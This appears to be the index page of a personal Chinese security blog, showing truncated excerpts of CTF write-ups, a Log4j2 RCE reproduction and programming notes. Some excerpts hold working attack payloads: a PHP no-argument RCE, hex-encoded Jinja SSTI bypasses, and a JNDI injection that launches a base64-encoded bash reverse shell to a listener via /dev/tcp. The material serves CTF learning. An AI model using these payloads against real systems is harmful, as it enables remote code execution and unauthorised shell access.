Le1aの小窝

WebRCE_No_Para无参RCE 1?1=system('tac flag.php');&code=eval(current(current(get_defined_vars()))); flaskadmin?static.js? 然后发现传参点：?name= 简单试了下SSTI，发现过滤了引号等符号 考虑attr结合16进制来绕过 1{{a|attr(%27\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f%27)|attr(%27\x5f\x5f\x62\x61\x73\x65\x5f\x5f%27)}} 可以成功拿到基类 然后剩下的直接打就行了 1{{a|attr(%27\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f%27)|attr(%27\x5f\x5f\x62\x61\x73\x65\x5f\x5f%27)|attr(%27\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5 ...

Girlfriend’s account下载附件，得到一个excel表格，打开得到 flag{账单总金额四舍五入保留至小数点后两位}，例如总金额为 543.21 元时，你需要提交 flag{543.21} 也就是说这个excel是个账单，不仅有商品单价，还有购买商品的数量，flag就是计算账单的总额，也就是算他女朋友花了多少钱，然后保留两位小数。 excel有函数可以计算乘法跟求和，但是这里并不是阿拉伯数字，所以我们接下来要做的就是把这个人民币的中文大写数字给转为阿拉伯数字 。百度上查阅一下 百度知道链接：https://zhidao.baidu.com/question/539413718.html 这个公式可以成功的将中文大写转换为阿拉伯数字 我们将excel表 新建一个，把前面的两列数据给复制粘贴过来 然后注意 刚刚的那个公式是统计的D列的，我们要将这里的D改为A 这样就成功转换出来了 我们需要将鼠标 对准G1框的右下角，然后下拉，对下面数据也进行依次填充 这样，就已经将商品单价全部转换完成了，接着我们需要将商品数量也进行转换，但是刚刚那个公式只能转换人民币金额的， ...

Java安全学习Java安全之反射反射:将类的各个组成部分封装为其他对象 获取Class对象的方式: Class.forName(“全类名”):将字节码文件加载进内存，返回Class对象 类名.class：通过类名的属性class获取 对象.getClass()：getClass()方法在Object类中定义着 同一个字节码文件(*.class)在一次程序运行过程中，只会被加载一次，无论通过哪一种方式获取的Class对象都是同一个 Class对象功能： ​ 获取功能： ​ 1.获取成员变量 ​ Field[] getFields() ​ Field getField(String name) ​ Field[] getDeclareFields() ​ Field getDeclareField(String name) ​ 2.获取构造方法 ​ Constructor<?>[] getCo ...

一. C++基础知识1.1 基础知识集成开发环境 编辑器、编译器、链接器、调试器 程序的运行从main函数开始而开始，结束而结束 编译器是从上到下逐行编译 在语法描述中，[]表示可选的。 C++语言集结构化编程、面向对象编程、泛型编程和函数式编程于一身，特别适合大型应用程序开发。 C++的头文件是不带.h扩展名的 C++的所有关键字都是小写的 C++11，空指针：nullptr，// C语言的空指针是NULL（0） 1.2 new/delete 内存管理C++中利用new操作符在堆中开辟数据 堆区开辟的数据,由程序员手动开辟，手动释放，释放利用操作符delete 语法：new 数据类型 利用new创建的数据，会返回该数据对应的类型的指针 示例1：基本语法12345678910111213141516171819202122232425//// Created by YiJiale on 2021/12/21.//#include "iostream"using namespace std;//1.new的剧本语法int *func(){ //在堆区创 ...

Log4j2_RCE漏洞复现这里是用了两种工具来复现漏洞 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar方法靶机地址：http://vulfocus.fofa.so/ 工具地址：https://www.lanzoup.com/imeONxo55if密码:Le1a 访问靶机地址 先把 工具上传到VPS上，然后运行 1java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,(bash -i >& /dev/tcp/IP/12345 0>&1)的base64编码}|{base64,-d}|{bash,-i}" -A "IP" 然后新开一个终端用于监听端口nc -lnvp 12345 然后POST发送payload="${jndi:rmi://IP:1099/z1il2b}" 这个paylo ...

CTFshow大赛原题WriteupWeb680 他让我们post一个code去跑，首先尝试传入code=phpinfo(); 成功弹出phpinfo界面，但是我们发现disable_function几乎禁用了所有的命令执行的函数。 尝试code=echo(file_get_content("secret_you_never_know"));发现也不行，应该是禁用了。这时候可以使用 code=print_r(scandir(dirname('__FILE__'))); scandir：列出目录中的文件和目录 dirname：返回路径中的目录部分 __FILE__：PHP魔术常量,反回当前PHP文件的完整路径和文件名 __FILE__返回当前php页面的文件名和路径，dirname只截取其中的目录部分，.代表当前目录 那么scandir(dirname('__FILE__'))就可以列出当前目录的目录和文件了 得到了secret_you_never_know，但是还是不知道如何读取这个文件，发现浏览器访问可以下载这个文件 所以 ...

Misc应该算是签到B站搜索直接搜索这个BV号PS：出题人品味不错，我也喜欢酷玩的这首《Yellow》 直接页面Ctrl+F没找出来搜索引擎找一下有没有通过API查弹幕的方法：https://www.bilibili.com/read/cv7923601 F12点击Network，找到这个视频的cid从当前时间2021-11-27开始往前找 1https://api.bilibili.com/x/v2/dm/web/history/seg.so?type=1&oid=400438565&date=2021-11-27 将历史弹幕文件下载下来，选择UTF-8编码，然后查找关键字即可 1D0g3{We1come_to_axbg0g0g0} CyzCC_loves_LOLD0g3_LOLteampassword 123456789101112131415HAI D0g3 codeI HAS A CODE ITZ "D0g3isthepAssword"I HAS A MSG ITZ ""I HAS A COUNTE ...

2021”红明谷CTF”write_shell进入题目，就给了源码，审计一下 123456789101112131415161718192021222324252627282930313233343536<?phperror_reporting(0);highlight_file(__FILE__);function check($input){ if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){ // if(preg_match("/'| |_|=|php/",$input)){ die('hacker!!!'); }else{ return $input; }}function waf($input){ if(is_array($input)){ fo ...

2021”西湖论剑”网络安全大赛Writeup我只写了自己做的部分，完整WP请访问下载：https://www.yuque.com/docs/share/4c901b3e-a9c4-4e67-9d1c-3030108ca4a0?# 密码：slhq Web详见fmyyy师傅：https://blog.csdn.net/fmyyy1/article/details/121451279?spm=1001.2014.3001.5501 Misc真·签到 扫码关注公众号，发送语音即可 flag： 1DASCTF{welc0m3_t0_9C51s_2021} YUSA的小秘密 这题跟去年的ByteCTF的Hardcore Watermark 01几乎一模一样，官方wp链接：https://bytectf.feishu.cn/docs/doccnqzpGCWH1hkDf5ljGdjOJYg# 这题采用的不是RGB通道的LSB隐写，而是采用的YCrCb通道。通过 cv2.cvtColor(img, cv2.COLOR_BGR2YCrCb)对 img 图片数据进行色彩空间转换，即 ...

Misc签到题下载附件得到一张二维码 扫码关注，后台回复签到即可获得flag flag： 1SangFor{AaKjtQr_OjJpdA3QwBV_ndsKdn3vPgc_} Login下载附件example.zip，打开是password.zip 但是需要密码，尝试爆破 此时发现了异常，打开明明只有一个password.zip文件，这里却检测到了两个加密文件，于是我们将压缩包用010 Editor打开分析一下 发现有伪加密，将此处以及后面一处的09改为00，保存之后再打开压缩包发现多了两个文件 其中示例-副本.txt能够打开，而示例.txt打开会提示需要输入密码 打开副本发现这就是 题目说的那个发邮件即可获得账号 但是发了几次邮件始终没有等到回信，后来发现重点不在这儿，既然这两个示例txt是一样的，那我们就可以采用ZIP明文攻击，来爆破出这个zip的密码。将示例-副本.txt拖出来，打包成zip，我们可以发现这两个zip中的示例-副本.txt的CRC32值是一样的 打开ARCHPR，将example.zip载入，然后载入示例 - 副本.zip ...